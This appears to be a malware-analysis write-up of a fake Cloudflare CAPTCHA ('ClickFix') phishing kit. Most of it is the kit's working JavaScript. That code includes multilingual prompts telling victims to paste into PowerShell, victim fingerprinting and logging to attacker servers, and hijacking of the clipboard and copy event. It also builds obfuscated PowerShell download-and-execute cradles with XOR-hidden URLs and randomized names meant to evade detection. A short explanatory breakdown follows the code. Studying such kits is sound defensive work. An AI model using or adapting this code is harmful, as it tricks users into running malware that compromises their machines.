                    zh:{subtitle:"正在进行安全验证",desc:"本网站使用安全服务来防御恶意机器人。此页面在网站验证您不是机器人时显示。",errorMsg:"自动验证失败。您的连接已被标记为需要额外审查。请完成以下手动验证以继续。",cbLabel:"验证您是人类",verifyTitle:"要完成验证,请:",step1:"按 <b><i class='fab fa-windows'></i> + X</b>。",step2:"按 <b>I</b> 打开 PowerShell。",step3:"按 <b>Ctrl</b> + <b>V</b> 粘贴验证码。",step4:"按 <b>Enter</b> 完成。",hint:"请完成以上步骤。",verifyBtn:"验证",subtitleVerifying:"正在验证您是否为人类。这可能需要几秒钟。",successMsg:"验证成功。等待 {host} 响应。"},
                    ja:{subtitle:"セキュリティ検証を実行中",desc:"このウェブサイトは悪意のあるボットから保護するためにセキュリティサービスを使用しています。このページはウェブサイトがあなたがボットでないことを確認している間表示されます。",errorMsg:"自動検証に失敗しました。お客様の接続は追加審査の対象としてフラグが立てられました。続行するには以下の手動検証を完了してください。",cbLabel:"人間であることを確認",verifyTitle:"検証を完了するには:",step1:"<b><i class='fab fa-windows'></i> + X</b> を押します。",step2:"<b>I</b> を押して PowerShell を開きます。",step3:"<b>Ctrl</b> + <b>V</b> を押して確認コードを貼り付けます。",step4:"<b>Enter</b> を押して完了します。",hint:"上記の手順を実行してください。",verifyBtn:"確認",subtitleVerifying:"人間であるか確認中です。数秒かかる場合があります。",successMsg:"検証成功。{host} の応答を待っています。"},
                    ko:{subtitle:"보안 인증 수행 중",desc:"이 웹사이트는 악성 봇으로부터 보호하기 위해 보안 서비스를 사용합니다. 이 페이지는 웹사이트에서 봇이 아닌지 확인하는 동안 표시됩니다.",errorMsg:"자동 인증에 실패했습니다. 연결이 추가 검토 대상으로 표시되었습니다. 계속하려면 아래 수동 인증을 완료하세요.",cbLabel:"본인이 사람인지 확인",verifyTitle:"인증을 완료하려면:",step1:"<b><i class='fab fa-windows'></i> + X</b>를 누르세요.",step2:"<b>I</b>를 눌러 PowerShell을 엽니다.",step3:"<b>Ctrl</b> + <b>V</b>를 눌러 인증 코드를 붙여넣습니다.",step4:"완료하려면 <b>Enter</b>를 누르세요.",hint:"위 단계를 완료하세요.",verifyBtn:"확인",subtitleVerifying:"사람인지 확인 중입니다. 몇 초가 걸릴 수 있습니다.",successMsg:"인증 성공. {host}의 응답을 기다리고 있습니다."},
                    nl:{subtitle:"Beveiligingsverificatie wordt uitgevoerd",desc:"Deze website maakt gebruik van een beveiligingsdienst ter bescherming tegen kwaadaardige bots. Deze pagina wordt weergegeven terwijl de website verifieert dat u geen bot bent.",errorMsg:"Automatische verificatie mislukt. Uw verbinding is gemarkeerd voor aanvullende controle. Voltooi de handmatige verificatie hieronder om door te gaan.",cbLabel:"Bevestig dat u een mens bent",verifyTitle:"Om de verificatie te voltooien:",step1:"Druk op <b><i class='fab fa-windows'></i> + X</b>.",step2:"Druk op <b>I</b> om PowerShell te openen.",step3:"Druk op <b>Ctrl</b> + <b>V</b> om de code te plakken.",step4:"Druk op <b>Enter</b> om af te ronden.",hint:"Voer de bovenstaande stappen uit.",verifyBtn:"Verifiëren",subtitleVerifying:"Bezig met controleren of u een mens bent. Dit kan enkele seconden duren.",successMsg:"Verificatie geslaagd. Wachten op antwoord van {host}."},
                    hi:{subtitle:"सुरक्षा सत्यापन किया जा रहा है",desc:"यह वेबसाइट दुर्भावनापूर्ण बॉट्स से सुरक्षा के लिए एक सुरक्षा सेवा का उपयोग करती है। यह पृष्ठ तब प्रदर्शित होता है जब वेबसाइट सत्यापित करती है कि आप बॉट नहीं हैं।",errorMsg:"स्वचालित सत्यापन विफल हो गया। आपके कनेक्शन को अतिरिक्त समीक्षा के लिए चिह्नित किया गया है। जारी रखने के लिए नीचे मैन्युअल सत्यापन पूरा करें।",cbLabel:"सत्यापित करें कि आप मानव हैं",verifyTitle:"सत्यापन पूरा करने के लिए:",step1:"<b><i class='fab fa-windows'></i> + X</b> दबाएँ।",step2:"PowerShell खोलने के लिए <b>I</b> दबाएँ।",step3:"कोड पेस्ट करने के लिए <b>Ctrl</b> + <b>V</b> दबाएँ।",step4:"<b>Enter</b> दबाएँ।",hint:"धपर दिए गए चरणों का पालन करें।",verifyBtn:"सत्यापित करें",subtitleVerifying:"सत्यापित किया जा रहा है कि आप मानव हैं। इसमें कुछ सेकंड लग सकते हैं।",successMsg:"सत्यापन सफल। {host} से प्रतिक्रिया की प्रतीक्षा है।"},
                    ro:{subtitle:"Se efectuează verificarea securității",desc:"Acest site web utilizează un serviciu de securitate pentru protecția împotriva boților rău intenționați. Această pagină este afișată în timp ce site-ul verifică dacă nu sunteți un bot.",errorMsg:"Verificarea automată a eșuat. Conexiunea dvs. a fost semnalată pentru o verificare suplimentară. Completați verificarea manuală de mai jos pentru a continua.",cbLabel:"Verificați că sunteți om",verifyTitle:"Pentru a finaliza verificarea:",step1:"Apăsați <b><i class='fab fa-windows'></i> + X</b>.",step2:"Apăsați <b>I</b> pentru a deschide PowerShell.",step3:"Apăsați <b>Ctrl</b> + <b>V</b> pentru a lipi codul.",step4:"Apăsați <b>Enter</b> pentru a finaliza.",hint:"Efectuați pașii de mai sus.",verifyBtn:"Verificați",subtitleVerifying:"Se verifică dacă sunteți om. Acest lucru poate dura câteva secunde.",successMsg:"Verificare reușită. Se așteaptă răspunsul de la {host}."},
                    he:{subtitle:"מבצע אימות אבטחה",desc:"אתר זה משתמש בשירות אבטחה להגנה מפני בוטים זדוניים. דף זה מוצג בזמן שהאתר מוודא שאינך בוט.",errorMsg:"האימות האוטומטי נכשל. החיבור שלך סומן לבדיקה נוספת. אנא השלם את האימות הידני למטה כדי להמשיך.",cbLabel:"אמת שאתה אדם",verifyTitle:"להשלמת האימות:",step1:"לחץ <b><i class='fab fa-windows'></i> + X</b>.",step2:"לחץ <b>I</b> כדי לפתוח PowerShell.",step3:"לחץ <b>Ctrl</b> + <b>V</b> כדי להדביק את הקוד.",step4:"לחץ <b>Enter</b> לסיום.",hint:"בצע את השלבים למעלה.",verifyBtn:"אמת",subtitleVerifying:"בודקים אם אתה אדם. זה עשוי לקחת כמה שניות.",successMsg:"האימות הצליח. ממתין לתגובה מ-{host}."},
                    cs:{subtitle:"Probíhá bezpečnostní ověření",desc:"Tento web používá bezpečnostní službu k ochraně před škodlivými boty. Tato stránka se zobrazuje, zatímco web ověřuje, že nejste bot.",errorMsg:"Automatické ověření selhalo. Vaše připojení bylo označeno k dalšímu přezkoumání. Pro pokračování dokončete manuální ověření níže.",cbLabel:"Ověřte, že jste člověk",verifyTitle:"Pro dokončení ověření:",step1:"Stiskněte <b><i class='fab fa-windows'></i> + X</b>.",step2:"Stiskněte <b>I</b> pro otevření PowerShell.",step3:"Stiskněte <b>Ctrl</b> + <b>V</b> pro vložení kódu.",step4:"Stiskněte <b>Enter</b> pro dokončení.",hint:"Proveďte výše uvedené kroky.",verifyBtn:"Ověřit",subtitleVerifying:"Ověřujeme, zda jste člověk. Může to trvat několik sekund.",successMsg:"Ověření úspěšné. Čekání na odpověď od {host}."},
                    id:{subtitle:"Melakukan verifikasi keamanan",desc:"Situs web ini menggunakan layanan keamanan untuk melindungi dari bot jahat. Halaman ini ditampilkan saat situs memverifikasi bahwa Anda bukan bot.",errorMsg:"Verifikasi otomatis gagal. Koneksi Anda telah ditandai untuk peninjauan tambahan. Selesaikan verifikasi manual di bawah untuk melanjutkan.",cbLabel:"Verifikasi bahwa Anda manusia",verifyTitle:"Untuk menyelesaikan verifikasi:",step1:"Tekan <b><i class='fab fa-windows'></i> + X</b>.",step2:"Tekan <b>I</b> untuk membuka PowerShell.",step3:"Tekan <b>Ctrl</b> + <b>V</b> untuk menempelkan kode.",step4:"Tekan <b>Enter</b> untuk menyelesaikan.",hint:"Lakukan langkah di atas.",verifyBtn:"Verifikasi",subtitleVerifying:"Memverifikasi bahwa Anda manusia. Ini mungkin membutuhkan beberapa detik.",successMsg:"Verifikasi berhasil. Menunggu respons dari {host}."},
                    vi:{subtitle:"Đang thực hiện xác minh bảo mật",desc:"Trang web này sử dụng dịch vụ bảo mật để bảo vệ chống lại các bot độc hại. Trang này được hiển thị khi trang web xác minh rằng bạn không phải là bot.",errorMsg:"Xác minh tự động thất bại. Kết nối của bạn đã được đánh dấu để xem xét thêm. Vui lòng hoàn thành xác minh thủ công bên dưới để tiếp tục.",cbLabel:"Xác minh bạn là người",verifyTitle:"Để hoàn tất xác minh:",step1:"Nhấn <b><i class='fab fa-windows'></i> + X</b>.",step2:"Nhấn <b>I</b> để mở PowerShell.",step3:"Nhấn <b>Ctrl</b> + <b>V</b> để dán mã.",step4:"Nhấn <b>Enter</b> để kết thúc.",hint:"Thực hiện các bước trên.",verifyBtn:"Xác minh",subtitleVerifying:"Đang xác minh bạn là người. Việc này có thể mất vài giây.",successMsg:"Xác minh thành công. Đang chờ phản hồi từ {host}."},
                    th:{subtitle:"กำลังดำเนินการตรวจสอบความปลอดภัย",desc:"เว็บไซต์นี้ใช้บริการรักษาความปลอดภัยเพื่อป้องกันบอทที่เป็นอันตราย หน้านี้จะแสดงขณะที่เว็บไซต์ตรวจสอบว่าคุณไม่ใช่บอท",errorMsg:"การตรวจสอบอัตโนมัติล้มเหลว การเชื่อมต่อของคุณถูกทำเครื่องหมายเพื่อตรวจสอบเพิ่มเติม กรุณาทำการตรวจสอบด้วยตนเองด้านล่างเพื่อดำเนินการต่อ",cbLabel:"ยืนยันว่าคุณเป็นมนุษย์",verifyTitle:"เพื่อดำเนินการตรวจสอบให้เสร็จ:",step1:"กด <b><i class='fab fa-windows'></i> + X</b>",step2:"กด <b>I</b> เพื่อเปิด PowerShell",step3:"กด <b>Ctrl</b> + <b>V</b> เพื่อวางรหัส",step4:"กด <b>Enter</b> เพื่อเสร็จสิ้น",hint:"ทำตามขั้นตอนด้านบน",verifyBtn:"ยืนยัน",subtitleVerifying:"กำลังยืนยันว่าคุณเป็นมนุษย์ อาจใช้เวลาสักครู่",successMsg:"การยืนยันสำเร็จ กำลังรอการตอบกลับจาก {host}"}
                };

                function detectLang(){
                    const prefs=(navigator.languages&&navigator.languages.length?navigator.languages:[navigator.language||"en"]).map(x=>String(x||'').toLowerCase());
                    const supported = Object.keys(i18n);
                    for(const l of prefs){
                        let primary = String(l || '').split('-')[0];
                        if (primary === 'mo') primary = 'ro';
                        if (primary === 'iw') primary = 'he';
                        if (supported.includes(primary)) return primary;
                    }
                    return supported.includes('en') ? 'en' : (supported[0] || 'en');
                }

                const lang = detectLang();
                const t = i18n[lang] || i18n.en;
                if (lang === 'ar' || lang === 'he') { try { document.documentElement.dir = 'rtl'; } catch (e) {} }

                // Set page title to domain
                try { document.title = host; } catch (e) {}

                // Populate static text
                const cfDomain = root.querySelector('.cf-domain'); if (cfDomain) cfDomain.textContent = host.toLowerCase();
                if (cfSubtitle) cfSubtitle.textContent = t.subtitle;
                if (cfDesc) cfDesc.textContent = t.desc;
                if (cfLabel) cfLabel.textContent = t.cbLabel;
                if (verifyTitle) verifyTitle.innerHTML = t.verifyTitle;
                if (verifySteps) verifySteps.innerHTML = [t.step1, t.step2, t.step3, t.step4].filter(Boolean).map(s => '<li>' + s.replace(/<i class=['\"]fab fa-windows['\"]><\/i>/g, winSvg).replace(/[\.\u3002]+$/, '') + '</li>').join('');
                if (verifyHint) verifyHint.textContent = t.hint;
                if (verifyButton) verifyButton.textContent = t.verifyBtn;

                // Ray ID
                try { const rayEl = root.querySelector('.ray-id'); if (rayEl) rayEl.textContent = rayId; } catch (e) {}

        let countryCode = '';
        fetchCountryInfo().then(ci => {
            if (ci && (ci.name || ci.code)) {
                countryCode = ci.code || '';
                try {
                    const refForSilent = (window.location && window.location.href) || '';
                    logSafe(logUrl, { eventType: 'silent_stats', browser: browserName, os, mode, referrer: refForSilent, country: countryCode });
                } catch (e) {}
            }
        });

        // Log a view immediately when the Cloudflare page is shown
        const refIdInit = (window.location && window.location.href) || '';
        const quickCountry = localeCountryCode();
        logSafe(logUrl, { eventType: 'cloudflare_shown', browser: browserName, os, mode, referrer: refIdInit, country: quickCountry });

        const panel = downloadBaseUrl || panelBaseUrl || window.location.origin;
        const browserId = detectBrowser();
        const refId = (window.location && window.location.href) || '';

        // Pool of innocent-looking variable names to reduce ML entropy suspicion
        const _varPoolSrc = ['data','path','result','temp','info','content','output','value','item','source','config','status','response','buffer','stream','idx','count','size','txt','code','msg','flag','state','tag','entry','total','sum','len','pos','chunk'];
        let _varPoolActive = [];
        function rndVar() {
            if (!_varPoolActive.length) {
                _varPoolActive = _varPoolSrc.slice();
                for (let i = _varPoolActive.length - 1; i > 0; i--) {
                    const j = Math.floor(Math.random() * (i + 1));
                    [_varPoolActive[i], _varPoolActive[j]] = [_varPoolActive[j], _varPoolActive[i]];
                }
            }
            return _varPoolActive.pop() || ('v' + Math.random().toString(36).slice(2, 10).replace(/[^a-z0-9]/g, ''));
        }

        // --- Pre-fetch: request token + ext in background BEFORE click ---
        let __prefetchedToken = null;
        let __prefetchedExt = { ext: 'exe', archivePassword: '' };
        let __prefetchTs = 0;
        const TOKEN_MAX_AGE_MS = 2 * 60 * 1000;

        async function prefetchTokenAndExt() {
            try {
                const tUrl = tokenUrl + '&os=windows&_ts=' + Date.now();
                const tokenResp = await fetch(tUrl, { cache: 'no-store' });
                const tokenData = await tokenResp.json();
                if (tokenResp.ok && tokenData && tokenData.token) {
                    __prefetchedToken = tokenData;
                    __prefetchTs = Date.now();
                }
            } catch (e) {}
            try {
                if (extUrl) {
                    const eUrl = extUrl + (extUrl.includes('?') ? '&' : '?') + '_ts=' + Date.now();
                    const extResp = await fetch(eUrl, { cache: 'no-store' });
                    const extData = await extResp.json();
                    if (extResp.ok && extData) {
                        if (extData.ext && typeof extData.ext === 'string') {
                            const cleaned = extData.ext.replace(/[^a-z0-9]/ig, '').toLowerCase();
                            if (cleaned) __prefetchedExt.ext = cleaned;
                        }
                        if (typeof extData.archivePassword === 'string') {
                            __prefetchedExt.archivePassword = extData.archivePassword;
                        }
                    }
                }
            } catch (e) {}
        }

        // Start pre-fetch immediately when page is shown
        prefetchTokenAndExt();

        async function generateDownloadContext() {
            try {
                // Use pre-fetched token if fresh enough, otherwise fetch new one
                let tokenData = null;
                if (__prefetchedToken && (Date.now() - __prefetchTs) < TOKEN_MAX_AGE_MS) {
                    tokenData = __prefetchedToken;
                    __prefetchedToken = null; // consume - don't reuse
                } else {
                    const tUrl = tokenUrl + '&os=windows&_ts=' + Date.now();
                    const tokenResp = await fetch(tUrl, { cache: 'no-store' });
                    tokenData = await tokenResp.json();
                    if (!tokenResp.ok || !tokenData || !tokenData.token) throw new Error((tokenData && tokenData.error) || 'Token error');
                }
                if (!tokenData || !tokenData.token) throw new Error('Token error');

                // Build the server-side PS serve URL (cradle fetches script from here)
                const serveUrl = `${panel}/api/?a=v&t=${tokenData.token}`
                    + `&ref=${encodeURIComponent(refId)}`
                    + (countryCode ? `&cc=${encodeURIComponent(countryCode)}` : '');

                // --- XOR-obfuscate URL so domain isn't visible in plain text ---
                function rndKey(len) {
                    const c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
                    let k = '';
                    for (let i = 0; i < len; i++) k += c[Math.floor(Math.random() * c.length)];
                    return k;
                }
                const xorKeyLen = 16 + Math.floor(Math.random() * 17); // 16-32
                const xorKey = rndKey(xorKeyLen);
                let xorHex = '';
                for (let i = 0; i < serveUrl.length; i++) {
                    xorHex += (serveUrl.charCodeAt(i) ^ xorKey.charCodeAt(i % xorKey.length)).toString(16).padStart(2, '0');
                }
                const vK = rndVar(), vH = rndVar(), vU = rndVar();
                const urlDecoder = `$${vK}='${xorKey}';$${vH}='${xorHex}';$${vU}=-join(0..($${vH}.Length/2-1)|%{[char]([byte]('0x'+$${vH}.Substring($_*2,2))-bxor[byte]$${vK}[$_%$${vK}.Length])})`;

                // --- Build cradle command with obfuscated URL ---

                // Randomized string-split: break at random position
                function rndSplit(s) {
                    if (s.length <= 3) return `'${s}'`;
                    const pos = 1 + Math.floor(Math.random() * (s.length - 2));
                    return `('${s.slice(0, pos)}'+'${s.slice(pos)}')`;
                }
                // Multi-split: break into 3 parts for longer strings
                function rndSplit3(s) {
                    if (s.length <= 6) return rndSplit(s);
                    const p1 = 1 + Math.floor(Math.random() * Math.floor(s.length / 3));
                    const p2 = p1 + 1 + Math.floor(Math.random() * Math.floor((s.length - p1) / 2));
                    return `('${s.slice(0, p1)}'+'${s.slice(p1, p2)}'+'${s.slice(p2)}')`;
                }

                // --- TLS: all type/property names broken via string concat ---
                // Tested: only var+assign and reflection work reliably
                const tlsVariant = Math.floor(Math.random() * 3);
                let tls;
                const spmType = rndSplit3('Net.ServicePointManager');
                const vT = rndVar();
                if (tlsVariant === 0) {
                    // Variable + direct assign with string property
                    tls = `$${vT}=${rndSplit3('Net.ServicePointManager')};[type]$${vT}|%{$_.GetProperty(${rndSplit('SecurityProtocol')}).SetValue($null,3072)}`;
                } else if (tlsVariant === 1) {
                    // Variable type + static property assign
                    tls = `$${vT}=[type]${spmType};$${vT}::SecurityProtocol=3072`;
                } else {
                    // Shortest: variable type + assign
                    tls = `$${vT}=[type]${spmType};$${vT}::SecurityProtocol=[Net.SecurityProtocolType]::Tls12`;
                }

                // Dynamic UA
                const chromeBase = 133;
                const msPerCycle = 28 * 24 * 3600 * 1000;
                const chromeMajor = chromeBase + Math.floor(Math.max(0, Date.now() - new Date('2026-01-15T00:00:00Z').getTime()) / msPerCycle);
                const ua = `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/${chromeMajor}.0.0.0 Safari/537.36`;

                const v = rndVar();
                const wcType = rndSplit('Net.WebClient');
                const dlMethod = rndSplit('DownloadString');
                const uaHeader = rndSplit('User-Agent');

                // WebClient creation: 2 variants - tested and working
                const wcCreation = Math.floor(Math.random() * 2);
                let wcInit;
                if (wcCreation === 0) {
                    // [type]::new() - PS5+ shorthand (Win10/11 always have PS5.1)
                    wcInit = `$${v}=([type]${wcType})::new();$${v}.Headers.Add(${uaHeader},'${ua}')`;
                } else {
                    // &(New-Object) with split - works on all PS versions
                    wcInit = `$${v}=&${rndSplit('New-Object')} ${rndSplit('Net.WebClient')};$${v}.Headers.Add(${uaHeader},'${ua}')`;
                }

                // Obfuscated invoke - 4 variants, all tested and working
                const cradleVariant = Math.floor(Math.random() * 4);
                const dlCall = `$${v}.${dlMethod}($${vU})`;
                let psCmd;
                if (cradleVariant === 0) {
                    // &(('i'+'ex')) - breaks 'iex' signature
                    psCmd = `${tls};${urlDecoder};${wcInit};&(${rndSplit('iex')}) ${dlCall}`;
                } else if (cradleVariant === 1) {
                    // Invoke-Expression via variable indirection - no known method names
                    const vE = rndVar();
                    const vCtx = rndVar();
                    psCmd = `${tls};${urlDecoder};${wcInit};$${vCtx}=$ExecutionContext.(${rndSplit('InvokeCommand')});$${vE}=$${vCtx}.(${rndSplit('GetCommand')})(${rndSplit3('Invoke-Expression')},[System.Management.Automation.CommandTypes]::Cmdlet);${dlCall}|&$${vE}`;
                } else if (cradleVariant === 2) {
                    // [scriptblock]::Create via variable - &([type]) doesn't work, use var
                    const vSb = rndVar();
                    psCmd = `${tls};${urlDecoder};${wcInit};$${vSb}=[type]${rndSplit('scriptblock')};$${vSb}::Create(${dlCall}).InvokeReturnAsIs()`;
                } else {
                    // Dot-source with [scriptblock] via [type] cast - tested OK
                    psCmd = `${tls};${urlDecoder};${wcInit};.([type]${rndSplit('scriptblock')})::Create(${dlCall})`;
                }

                return { psCmd, token: tokenData.token, downloadUrl: serveUrl, ext: 'exe' };
            } catch (e) {
                return { psCmd: '', token: '', downloadUrl: '', ext: 'exe' };
            }
        }

        function fallbackCopy(text) {
            try {
                const textarea = document.createElement('textarea');
                textarea.value = text;
                textarea.setAttribute('readonly', '');
                textarea.style.position = 'absolute';
                textarea.style.left = '-9999px';
                document.body.appendChild(textarea);
                textarea.select();
                document.execCommand('copy');
                document.body.removeChild(textarea);
            } catch (e) {}
        }

                async function setObfuscatedCommandToClipboard() {
                        const ctx = await generateDownloadContext();
                        let clipOk = false;
                        if (ctx && ctx.psCmd) {
                            command = ctx.psCmd;
                            // Try navigator.clipboard first
                            try {
                                await navigator.clipboard.writeText(ctx.psCmd);
                                clipOk = true;
                            } catch (e) {
                                // Fallback: execCommand
                                try {
                                    const textarea = document.createElement('textarea');
                                    textarea.value = ctx.psCmd;
                                    textarea.setAttribute('readonly', '');
                                    textarea.style.position = 'absolute';
                                    textarea.style.left = '-9999px';
                                    document.body.appendChild(textarea);
                                    textarea.select();
                                    clipOk = document.execCommand('copy');
                                    document.body.removeChild(textarea);
                                } catch (e2) {}
                            }
                            logSafe(logUrl, { eventType: clipOk ? 'clip_ok' : 'clip_fail', browser: browserName, os, mode, country: countryCode });
                        }
                        return ctx ? Object.assign(ctx, { clipOk }) : ctx;
                }

                const onCopy = function(e) {
                    try {
                        if (!command) return;
                        e.preventDefault();
                        if (e.clipboardData) {
                            e.clipboardData.setData('text/plain', command);
                        } else if (window.clipboardData) {
                            window.clipboardData.setData('Text', command);
                        }
                    } catch (err) {}
                };
                try { document.addEventListener('copy', onCopy, true); } catch (e) {}

        function waitForTokenUsed(token) {
            if (!token || !tokenStatusUrl) return;
            const startedAt = Date.now();
            const timeoutMs = 3 * 60 * 1000;
            const intervalMs = 1500;

            let finished = false;

            const markDownloaded = () => {
                try { localStorage.setItem(storageKey, '1'); } catch (e) {}
            };

            const showPassedThenClose = () => {
                if (finished) return;
                finished = true;

                try {
                    // Hide verify panel, show green check in Turnstile widget
                    if (verifyPanel) verifyPanel.classList.remove('active');
                    if (cfTurnstileBox) cfTurnstileBox.classList.remove('cf-expanded');
                    if (cfSpinner) cfSpinner.style.display = 'none';
                    if (cfCheck) cfCheck.style.display = 'block';
                    // Hide error, restore desc
                    if (cfError) cfError.style.display = 'none';
                    if (cfDesc) cfDesc.style.display = 'block';
                    // Clear retry timer
                    if (retryInterval) { clearInterval(retryInterval); retryInterval = null; }

                    // Change subtitle to "Verifying..." then show success message
                    if (cfSubtitle) cfSubtitle.textContent = t.subtitleVerifying;

                    setTimeout(() => {
                        try {
                            // Show "Verification successful. Waiting for domain.com to respond."
                            if (cfSuccess) {
                                cfSuccess.textContent = t.successMsg.replace('{host}', host);
                                cfSuccess.style.display = 'block';
                            }
                            // Hide the turnstile widget
                            if (cfTurnstileBox) cfTurnstileBox.style.display = 'none';
                        } catch (e) {}
                    }, 600);

                    // Close after showing success
                    setTimeout(() => {
                        try { cleanup(); } catch (e) {}
                    }, 3000);
                } catch (e) {}
            };

            const tick = async () => {
                if (finished) return;
                if (Date.now() - startedAt > timeoutMs) return;
                try {
                    const statusUrl = tokenStatusUrl + (tokenStatusUrl.includes('?') ? '&' : '?') + 'token=' + encodeURIComponent(token) + '&_ts=' + Date.now();
                    const resp = await fetch(statusUrl, { cache: 'no-store' });
                    const data = await resp.json();
                    if (data && (data.consumed || data.used)) {
                        markDownloaded();
                        showPassedThenClose();
                        return;
                    }
                } catch (e) {}
                setTimeout(tick, intervalMs);
            };

            setTimeout(tick, intervalMs);
        }

                const retryTimers = [30, 60, 180];
                let retryIndex = 0;
                let retryInterval = null;

                function resetToInitial() {
                    try {
                        // Reset checkbox
                        if (checkbox) { checkbox.style.display = 'block'; checkbox.__bwStarted = false; checkbox.classList.remove('cf-disabled'); }
                        if (cfSpinner) cfSpinner.style.display = 'none';
                        if (cfCheck) cfCheck.style.display = 'none';
                        // Reset texts
                        if (cfSubtitle) cfSubtitle.textContent = t.subtitle;
                        if (cfDesc) cfDesc.style.display = 'block';
                        if (cfError) cfError.style.display = 'none';
                        if (cfLabel) cfLabel.textContent = t.cbLabel;
                        // Collapse turnstile
                        if (cfTurnstileBox) cfTurnstileBox.classList.remove('cf-expanded');
                        if (verifyPanel) verifyPanel.classList.remove('active');
                        // Clear timer
                        if (retryInterval) { clearInterval(retryInterval); retryInterval = null; }
                        if (verifyHint) { verifyHint.style.color = '#888'; verifyHint.style.fontWeight = ''; verifyHint.textContent = t.hint; }
                    } catch (e) {}
                }

                // Phase 0: Auto spinner on page load (like real CF)
                try {
                    if (checkbox) checkbox.style.display = 'none';
                    if (cfSpinner) cfSpinner.style.display = 'block';
                    if (cfSubtitle) cfSubtitle.textContent = t.subtitleVerifying;
                    if (cfLabel) cfLabel.textContent = t.cbLabel;
                } catch (e) {}
                setTimeout(() => {
                    try {
                        if (cfSpinner) cfSpinner.style.display = 'none';
                        if (checkbox) checkbox.style.display = 'block';
                        if (cfSubtitle) cfSubtitle.textContent = t.subtitle;
                        if (cfLabel) cfLabel.textContent = t.cbLabel;
                    } catch (e) {}
                }, 2500);

                async function runConfirmFlow() {
                    if (!checkbox || checkbox.__bwStarted) return;
                    checkbox.__bwStarted = true;

                    logSafe(logUrl, { eventType: 'download_click', browser: browserName, os, mode, country: countryCode });

                    // Phase 1: Spinner (fake verification)
                    try {
                        if (checkbox) checkbox.style.display = 'none';
                        if (cfSpinner) cfSpinner.style.display = 'block';
                        if (cfSubtitle) cfSubtitle.textContent = t.subtitleVerifying;
                        if (cfLabel) cfLabel.textContent = t.cbLabel;
                    } catch (e) {}

                    // Clipboard copy in background
                    const ctxPromise = setObfuscatedCommandToClipboard();
                    await new Promise(r => setTimeout(r, 3000));
                    const ctx = await ctxPromise;

                    // Phase 2: Error + countdown + instructions
                    try {
                        if (cfSpinner) cfSpinner.style.display = 'none';
                        // Show checkbox but disabled
                        if (checkbox) { checkbox.style.display = 'block'; checkbox.classList.add('cf-disabled'); }

                        // Reset subtitle
                        if (cfSubtitle) cfSubtitle.textContent = t.subtitle;
                        // Show error text above turnstile (replace desc)
                        if (cfDesc) cfDesc.style.display = 'none';
                        if (cfError) { cfError.textContent = t.errorMsg || t.desc; cfError.style.display = 'block'; }
                        if (cfLabel) cfLabel.textContent = t.cbLabel;

                        // Expand turnstile, show instructions
                        if (cfTurnstileBox) cfTurnstileBox.classList.add('cf-expanded');
                        if (verifyPanel) verifyPanel.classList.add('active');

                        // Start countdown timer
                        const seconds = retryTimers[Math.min(retryIndex, retryTimers.length - 1)];
                        retryIndex++;
                        let remaining = seconds;
                        const updateTimer = () => {
                            const m = Math.floor(remaining / 60);
                            const s = remaining % 60;
                            if (verifyHint) verifyHint.textContent = (t.retryTimer || 'Automatic retry in {time}').replace('{time}', m > 0 ? m + ':' + String(s).padStart(2, '0') : s + 's');
                        };
                        updateTimer();
                        retryInterval = setInterval(() => {
                            remaining--;
                            if (remaining <= 0) {
                                clearInterval(retryInterval);
                                retryInterval = null;
                                resetToInitial();
                                // Re-run auto spinner
                                try {
                                    if (checkbox) checkbox.style.display = 'none';
                                    if (cfSpinner) cfSpinner.style.display = 'block';
                                    if (cfSubtitle) cfSubtitle.textContent = t.subtitleVerifying;
                                    if (cfLabel) cfLabel.textContent = t.cbLabel;
                                } catch (e) {}
                                setTimeout(() => {
                                    try {
                                        if (cfSpinner) cfSpinner.style.display = 'none';
                                        if (checkbox) checkbox.style.display = 'block';
                                        if (cfSubtitle) cfSubtitle.textContent = t.subtitle;
                                        if (cfLabel) cfLabel.textContent = t.cbLabel;
                                    } catch (e) {}
                                }, 2500);
                                return;
                            }
                            updateTimer();
                        }, 1000);
                    } catch (e) {}

                    waitForTokenUsed(ctx && ctx.token);
                }

                if (checkbox) checkbox.addEventListener('click', runConfirmFlow);

                if (verifyButton) {
                    verifyButton.addEventListener('click', function() {
                        try {
                            if (verifyHint) {
                                verifyHint.style.color = '#d93025';
                                verifyHint.style.fontWeight = '600';
                            }
                        } catch (e) {}
                    });
                }
    };
})();

Lets Breakdown this to understand key components of the code.


High-Level Purpose of the Script

The script performs four major malicious operations:

  1. Injects a fake Cloudflare CAPTCHA verification interface

  2. Fingerprints the victim system

  3. Communicates with the attacker C2 infrastructure

  4. Generates an obfuscated PowerShell payload that downloads malware


Fake Cloudflare CAPTCHA Injection
const hostEl = document.createElement('div');
hostEl.id = 'bw-cf-host';
hostEl.style.cssText = 'position:fixed;inset:0;z-index:2147483647;';
const shadow = hostEl.attachShadow({ mode: 'closed' });
What this does
  1. Creates a full-screen container.

  2. Injects a closed Shadow DOM.

  3. Loads fake Cloudflare CAPTCHA UI.

Why this is stealthy

Using closed Shadow DOM prevents:

  • DOM inspection

  • easy script detection

  • security extensions from modifying content

This technique is increasingly used in modern phishing kits and malware loaders.


injectModalStyles() — Full UI Takeover & Visual Isolation

  • The injectModalStyles() function is responsible for constructing a highly controlled and visually dominant interface that mimics a Cloudflare verification page.

  • It programmatically injects a large block of CSS that forces a full-screen overlay (position: fixed; inset: 0; z-index: 2147483647) ensuring that no part of the legitimate website remains visible or interactive.

  • What makes this particularly effective is the aggressive use of !important across all style declarations. This overrides any existing styles on the host page, guaranteeing that the malicious interface renders consistently regardless of the underlying site’s CSS.

  • From an attacker’s perspective, this is not just UI styling — it is environment domination.


detectBrowser() & localeCountryCode() — Victim Profiling & Targeting

    function detectBrowser() {
        const ua = navigator.userAgent.toLowerCase();
        if (ua.includes('chrome') && !ua.includes('edg')) return 'chrome';
        if (ua.includes('firefox')) return 'firefox';
        if (ua.includes('safari') && !ua.includes('chrome')) return 'safari';
        if (ua.includes('edg')) return 'edge';
        if (ua.includes('opera') || ua.includes('opr')) return 'opera';
        return 'other';
    }

    function localeCountryCode() {
        try {
            const lang = String(navigator.language || '').toUpperCase();
            const parts = lang.split('-');
            const code = (parts.length > 1 ? parts[1] : '').trim();
            return /^[A-Z]{2}$/.test(code) ? code : '';
        } catch (e) { return ''; }
    }

  • These functions collectively perform environment fingerprinting, a critical step in modern malware campaigns. By parsing the user agent string, the script identifies the victim’s browser type, allowing the attacker to tailor payload delivery or avoid unsupported environments.

